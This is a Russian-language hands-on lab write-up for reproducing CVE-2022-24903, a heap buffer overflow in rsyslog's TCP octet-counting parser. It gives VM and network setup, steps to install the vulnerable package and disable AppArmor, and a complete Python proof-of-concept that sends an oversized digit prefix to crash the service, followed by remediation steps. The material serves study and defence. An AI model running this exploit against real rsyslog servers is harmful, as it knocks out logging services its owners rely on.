
CVE-2022-24903 Heap-based buffer overflow
Автор: Andrew Beshay Mousa
Практическая лабораторная работа, демонстрирующая уязвимость переполнения буфера в куче в rsyslog.
Практическая среда для воспроизведения и изучения уязвимости переполнения буфера в куче в rsyslog (CVE-2022-24903) через кадрирование с подсчётом октетов при приёме TCP syslog.
CVE-2022-24903 — это уязвимость переполнения буфера в куче в модуле TCP-приёма syslog (imtcp) в rsyslog при использовании кадрирования с подсчётом октетов (RFC 5425).
Атакующий может отправить специально сформированное TCP-сообщение syslog с чрезмерно длинным префиксом подсчёта октетов, что заставит rsyslog записывать данные за пределами выделенного в куче буфера, что приведёт к отказу в обслуживании (DoS) или потенциальному повреждению памяти.
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
Примечание: В качестве целевой машины можно использовать любую версию Ubuntu (20.04, 22.04, 24.04). Главное — вручную установить уязвимый пакет rsyslog 8.2001.0
.deb.
В TCP syslog (RFC 5425) сообщениям предшествует префикс с их длиной в байтах:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
В уязвимых версиях rsyslog парсер подсчёта октетов:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
Результат: Отправка 9999... (5000+ цифр) приводит к переполнению буфера в куче и повреждению соседней памяти.
0-9)В вашем гипервизоре создайте сеть Host-Only:
192.168.56.0/24Подключите обе виртуальные машины к этой сети.
sudo nano /etc/netplan/00-installer-config.yaml
Вставьте следующее:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
Примените настройки:
sudo netplan apply
Проверьте:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
Если вы получили ошибку блокировки dpkg:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
Проверьте версию:
rsyslogd -v | head -2
Ожидаемый вывод:
rsyslogd 8.2001.0
AppArmor может препятствовать корректной работе rsyslog со старым пакетом:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
Очистите файл и вставьте следующее:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
Проверьте, что порт прослушивается:
sudo ss -tlnp | grep 514
Ожидаемый результат:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
Вставьте следующее:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
Или, если вы используете Netplan:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
Вставьте следующее:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
Сделайте исполняемым:
chmod +x exploit.py
С машины атакующего проверьте связь:
nc -zv 192.168.56.20 514
Ожидаемый результат:
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
Ожидаемый вывод:
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
На целевой машине проверьте падение:
ps aux | grep rsyslog
Если вывода нет -> rsyslog упал
sudo dmesg | tail -10
Ожидаемый вывод:
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
Или:
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
Чтобы подтвердить воспроизводимость:
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
Затем повторно запустите эксплойт с Kali. Падение должно повториться.
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
Проверьте исправленную версию:
rsyslogd -v | head -2
Должна быть 8.2204.1 или выше.
Закомментируйте в /etc/rsyslog.conf:
# module(load="imtcp")
# input(type="imtcp" port="514")
Если TCP syslog необходим, используйте шифрованный транспорт:
module(load="imgtls")
input(type="imgtls" port="6514")
Ограничьте доступ к TCP-порту 514 только для доверенных хостов:
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
Эта лабораторная работа предназначена только для образовательных и исследовательских целей. Не используйте этот эксплойт против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование данной информации.
Этот проект распространяется по лицензии MIT.
Создано на кофе и любопытстве: Andrew Beshay Mousa.
| Атрибут | Значение |
|---|
| Идентификатор CVE | CVE-2022-24903 |
| Затронутые версии | rsyslog < 8.2204.1 |
| Вектор | Сеть |
| Порт | 514/TCP |
| Модуль | imtcp (TCP-вход) |
| Воздействие | DoS / повреждение кучи |
| Вероятность RCE? | Нет (оценка вендора) |
| ВМ | ОС | Роль | IP | ОЗУ | ЦП |
|---|
| Целевая | Ubuntu 22.04 | Уязвимый сервер rsyslog | 192.168.56.20 | 1 ГБ | 1 |
| Атакующая | Kali Linux | Отправитель эксплойта | 192.168.56.10 | 2 ГБ | 1 |
| Проблема | Решение |
|---|
Connection refused | rsyslog не запущен или не прослушивает TCP-порт 514. Проверьте sudo systemctl status rsyslog и `sudo ss -tlnp |
Unit rsyslog.service is masked | Выполните sudo systemctl unmask rsyslog.service syslog.socket |
dpkg frontend lock | Выполните sudo kill -9 <PID>, затем sudo rm -f /var/lib/dpkg/lock-frontend |
| Отказ AppArmor (DENIED) в dmesg | Выполните sudo systemctl stop apparmor && sudo systemctl disable apparmor |
| Версия rsyslog 8.2112+ | Вы установили исправленную версию. Скачайте и установите rsyslog_8.2001.0-1ubuntu1_amd64.deb вручную |
| Нет падения после эксплойта | Увеличьте размер полезной нагрузки до b"9" * 20000 |